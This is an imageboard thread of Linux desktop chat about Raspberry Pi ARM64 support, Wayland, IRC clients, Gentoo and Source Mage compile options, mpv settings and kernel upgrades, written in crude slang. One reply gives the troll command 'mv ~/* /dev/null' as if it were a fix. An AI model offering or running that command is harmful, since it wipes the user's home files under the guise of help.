# Increase biasing (up to -b20) if your fan speed changes too slowly.
Environment='THINKFAN_ARGS=-b0'

File: Screenshot_20170614_232343.png (116KB, 1920x1080px) Image search: [Google]

116KB, 1920x1080px

>>60906733
I'm not sure which distro supports them. I know Void supports up to Rpi2

>>60903337

mv ~/* /dev/null

>>60906787
ive honestly scraped the entire surfaceweb for armv8/64 information

benchmarks ive seen across multiple dev boards and githubs say it can be up to a 50% performance increase across the board, and the only two distros ive found where theres even remotely support is AArch64 and GentooARM 64

this is my first rodeo with SoC's but i managed to get a basic headless raspbian down to idling sub 100mb ram, and i want to push this motherfucker.

>>60906908
Just install Gentoo on it then. You don't actually have to compile Gentoo on the RPi itself, you can cross-compile.

File: Screenshot_20170614_203725.png (130KB, 1365x646px) Image search: [Google]

130KB, 1365x646px

>>60905417
yes and let me know if you get huge a huge ass UI in kde plasma 5 under wayland.

>>60907006
Don't try to use KDE on Wayland yet, that shit still barely works according to the devs themselves.

>>60907037
I need smooth scrolling youtube videos

>>60907045
oh and kde on wayland actually manages to run smoother than gnome on wayland.

File: aaaaa.png (189KB, 1440x900px) Image search: [Google]

189KB, 1440x900px

>>60906969
yea fair enough. fuck it. meme time.

>>60906733
>"although the ARMv8 CPU in the Raspberry Pi 3 B is 64-bit, almost everything else is 32-bit, and therefore only 32-bit kernels are supplied from upstream for the machine."
>https://wiki.gentoo.org/wiki/Raspberry_Pi

How the can they justify this?

>>60907106
Kek

>>60907076
its easier to chroot using qemu to emulate arm.

>>60907106
look up some benchmarks.

that's how.

>>60907117
yea but emulation is for pussies

>>60907186
>emulation is for pussies

explain.

what IRC client do you guys use
>irssi
worse than weechat
>weechat
terrible; the buffers.pl script doesn't put the buffer under the right server at all
>quassel
stores everything in a retarded SQL database

>>60908011
nevermind I found autosort.py

>>60899709
Ctrl+L
Might help you

>>60902673
I like Monaco myself

>>60904589

Literal botnet.

>>60906115

I don't think service files support variable expansion. You have to use the Environment=.

>>60907006

Change the scaling options.

>>60907440
he cant

>>60908429
I fixed it by forcing 96 dpi font

so what good software has stallman written recently if he is so great

File: 1495328887060.jpg (66KB, 500x645px) Image search: [Google]

66KB, 500x645px

I'm trying out source-based distrobutions for the first time and I'm a curious noob.

How do I get optimisation benefits from compiling from source? What resources do I need to read in order to understand what I can do in order to optimise compiling from source?

I am interested in compiling an optimised Kernel, how do I do that and what information do I need to do it?

If anyone has any articles or web pages I can read to get me up to speed, I would appreciate it.

>>60909319
which distro?

it's 2017, you are not going to get much more performance compared to binary packages, what you are going to get is the power of customization, which is the real advantage of source-based package managers.

> Kernel
you could compile in all the kernel modules your hardware need, as opposed to just load the modules at runtime, that's going to make your boot time a little faster but besides that, no real difference.

>>60909388

I was going to install Gentoo but I fell for the Source Mage meme. I'm a sucker for mage thematics.

I've still got outdated and shitty hardware that I'm using on a day to day basis, so I might get a slight performance boost. What kind of customisation can I do with source-based package managers like Portage, for example?

Hey guys, I have a question about mpv:

I know I can use O to toggle the display of the current playback time. Is there a way to customize what is being shown? I would like to know the exact frame number I am on instead of just HH:MM:SS.
Thanks!

>>60909431
Different anon and never used a source distro, but I think I can answer that.

Complex programs often provide compile-time options, i.e., the ability to include a certain feature into the binary or not. With binary distributions, sometimes you may find that they omitted a feature that you want. More often, if you're into efficiency of that kind, you may prefer to save space by skipping features you don't want.

I recently found out that debian's mpv ships without libcaca video driver, so I can't use it to watch Mongolian dynamograms in text mode. What the fuck, man.

For a less silly example, a few years back I had to compile my own conky because the one in debian main lacked a feature that I wanted. It was probably integration with audacious, I'm not sure.

>>60909539

What commands would you be using with your compiler(I assume GCC) to compile mpv with libcaca?

>>60909570
Usually you don't run gcc directly. Projects provide a configure script and a makefile and you use those to choose the options you want and build the software.

From what I've read of the SMGL docs, that is integrated into the package manager, so you just run the command to install a package and it downloads the source and asks you about compile-time options.

>>60909511
https://mpv.io/manual/stable/#osd
https://mpv.io/manual/stable/#property-list

--osd-status-msg=<string>
mpv Peep.Show.S08/peep.show.s08e01.mkv --osd-status-msg "\${estimated-frame-number}"

>>60909431
>>60909539

also you can cut down dependencies or choose different backends (example, compile all your software to use alsa for audio instead of pulseaudio)

in portage you could do something like USE = -pulseaudio and now any software that has an option use pulseaudio will not use it.

Anyone on the fedora 26 beta?

>>60908011
What's wrong with SQL?

Hey guys, I've got a question about Stretch.

I want to upgrade to it when I get some new parts and that is in like 2 months.
What's bothering me is that I want to go for zen chips but those need 4.10 kernel to be efficient and Stretch will be on 4.9.

I also saw somewhere that the fix for zen topology was backported to 4.9 so is it fine to use 4.9 with zen afterall?
If no, how fast could 4.10 be backported to Stretch, or should I compile my own kernel instead?
I never played with kernels and I don't want to fuck my system up, is it hard to do so?

>>60909637
Thanks senpai.

>>60909660
>>60909610

Thanks for the info, guys.

>>60899713
install ntfs3g

>>60902673
Monaco

>>60909431
While you will benefit from cutting down dependencies, optimizing for old hardware usually somewhat pointless because old hardware doesn't provides less extra instructions that let you optimize the code

Plus there isn't really an option "make shit faster", generally speaking optimization is a meme unless you're willing to do some serious research, because popping random optimization flags might break some programs or cause performance loss instead of gain

Some further reading
https://wiki.gentoo.org/wiki/Safe_CFLAGS
https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html

You can probably just copy-paste cflags from Gentoo wiki, maybe replace O2 with O3, but Gentoo also has safeguards against compiling complex packages with custom cflags, dunno about Source Mage.

anybody here use slackware?

>>60906820
>>60906710
>>60906654
>>60904794
hello rebbit

>>60908011
I use irssi as a bouncer and kvirc as a client

>>60905417
Wayland isn't even out of initial design phase
If you don't understand what it is, you're not supposed to try it yet

just thowing this out there, say you had ~500 linux servers running a business, what distro/setup is easiest to keep them all up to date with security patches?

>>60906465
Sway doesn't support nvidia's proprietary driver and iirc some exotic devices like wacom pens

>>60909987
RHEL with paid support

what advantages have running wayland right now?
it seems that people are using wayland just because it's newer.

>>60910024
Well obviously if you're DE or Wayland developer, you need to have a Wayland setup for testing

Otherwise running Wayland right now is retarded

>>60910042
isn't wayland default on gnome fedora?

>>60909793
pls respond

>>60910024
you get smooth scrolling videos on youtube

>>60910056
Yes, because Fedora is a bleeding branch of Red Hat, used to test system-breaking features before adding them to RHEL Beta

>>60910078
it's not hard to compile your own kernel, really.

>>60909793
Yeah, what other anon said, it's not hard to build custom kernel
Just don't delete your stock kernel and you'll always have an option to boot from it

-> -> -> >>60910160

>>60910106
>>60910116
Thanks guys, I will try

what command line wifi manager should I use?

>>60909901
>his post was detected as spam
it truly is